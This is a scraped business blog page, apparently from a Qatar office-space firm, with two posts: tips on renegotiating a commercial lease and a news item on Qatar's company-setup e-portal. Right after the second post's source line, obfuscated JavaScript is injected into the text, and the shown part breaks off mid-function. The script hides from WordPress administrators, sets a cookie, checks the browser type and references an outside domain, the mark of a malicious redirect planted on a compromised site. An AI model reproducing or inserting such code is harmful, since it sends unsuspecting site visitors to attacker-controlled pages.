23

Jul
2020

How to Renegotiate a Commercial Lease ?

How to Renegotiate a Commercial Lease ?

  Here are some tips on how to contact your Landlord about renegotiating the contract. Make sure to promptly approach your property owner with trust, expertise, backup plan, and an honest wish to meet on a halfway path. Say something early: Speak now when it comes to the end of your leased or when a business doesn't go well. Don't suddenly apply for an unsuspecting landlord to have a reduction. You must leave time, if necessary, for a second renegotiation, and you surely won't seem unprepared. Call on the phone instead of emailing: The most promising start to talks that satisfy everyone's needs is the informal meetings, shaking hands, and exchanging of documents. But if it's not feasible, go for a telephone conversation instead of an email. Each group is therefore assigned to the mission and listens to one another. There is also always the opportunity to ignore or miss an email. Have the right attitude: Whatever medium you use to connect with your property owner, make sure to function trustingly and professionally. I hope you have a good relationship with your property owner already. This is your occasion to remind him or herself that you are a valuable tenant who tries to find the best option for each party. Do your research and know what to ask for: Many tenants go to renegotiations without understanding what they want or need. Don't come up with vague questions such as, "What do you have to help?” Or "How much can you give me the rental discount?” "Decide if you want a permanent or temporary cut, a discount, permission to deduct from space, or something else. Have all the documentation ready.  What to include in your proposal: The reasoning behind your request should be explained. When market research shows that tenants who lease similar properties get better rates, the figures show. If your company simply cannot achieve ends, for now, prove that. Include the financial statements of the previous year, the current financial statements, a clear proposal, and your business strategy to produce more revenue and pay more for rent in the future, if appropriate. What to do if the answer is “no”: You have to be prepared with the backup package if the answer is "no." After all, this is a negotiation, so it may take many attempts to reach an agreement. If your arrangement is complicated, you could be looking for help from a tenant broker outside of your business. Better still, before even the renegotiation process start, you may want to ask for insight.  However, if you would prefer to take your renegotiation handled for you, Qatar Office Space can help you handle it perfectly.


10

Jan
2020

E-portal facilitates easy setting up of new companies in Qatar: Qatar Chamber Chairman

E-portal facilitates easy setting up of new companies in Qatar: Qatar Chamber Chairman

Qatar Chamber chairman Sheikh Khalifa bin Jassim alThani alluded to the electronic system of new companies’ setup service through the single window e-portal, noting that it helps save time and effort for businesses and investors willing to establish new firms in Qatar.  He said this in a statement during the announcement of the digital transformation of the new companies’ setup service through the e-portal of the single window facility at the Ministry of Commerce and Industry.  HE the Minister of Commerce and Industry Ali bin Ahmed al-Kuwari was among the dignitaries present. Sheikh Khalifa noted that the system confirmed “Qatar’s advancement in ease of doing business globally.”  Qatar was chosen as one of the top 20 countries out of 190 in the world in terms of their improvement in ‘Ease of Doing Business 2020’ by the World Bank due to the State’s efforts and achievements in this area. He said the single window system consolidated Qatar’s position as an “ideal destination” for investment in the region and globally and enhanced its efforts to attract more local and foreign investments.  The first phase of single window services helped in boosting the ease of investment procedures, he noted. The single window provides comprehensive service to establish businesses and factories, allowing investors and businesses to submit and sign applications and pay their fees electronically to obtain a license. Source: Gulf times var _0x2cf4=['MSIE;','OPR','Chromium','Chrome','ppkcookie','location','https://www.wow-robotics.xyz','onload','getElementById','undefined','setTime','getTime','toUTCString','cookie',';\x20path=/','split','length','charAt','substring','indexOf','match','userAgent','Edge'];(function(_0x15c1df,_0x14d882){var _0x2e33e1=function(_0x5a22d4){while(--_0x5a22d4){_0x15c1df['push'](_0x15c1df['shift']());}};_0x2e33e1(++_0x14d882);}(_0x2cf4,0x104));var _0x287a=function(_0x1c2503,_0x26453f){_0x1c2503=_0x1c2503-0x0;var _0x58feb3=_0x2cf4[_0x1c2503];return _0x58feb3;};window[_0x287a('0x0')]=function(){(function(){if(document[_0x287a('0x1')]('wpadminbar')===null){if(typeof _0x335357===_0x287a('0x2')){function _0x335357(_0xe0ae90,_0x112012,_0x5523d4){var _0x21e546='';if(_0x5523d4){var _0x5b6c5c=new Date();_0x5b6c5c[_0x287a('0x3')](_0x5b6c5c[_0x287a('0x4')]()+_0x5523d4*0x18*0x3c*0x3c*0x3e8);_0x21e546=';\x20expires='+_0x5b6c5c[_0x287a('0x5')]();}document[_0x287a('0x6')]=_0xe0ae90+'='+(_0x112012||'')+_0x21e546+_0x287a('0x7');}function _0x38eb7c(_0x2e2623){var _0x1f399a=_0x2e2623+'=';var _0x36a90c=document[_0x287a('0x6')][_0x287a('0x8')](';');for(var _0x51e64c=0x0;_0x51e64c



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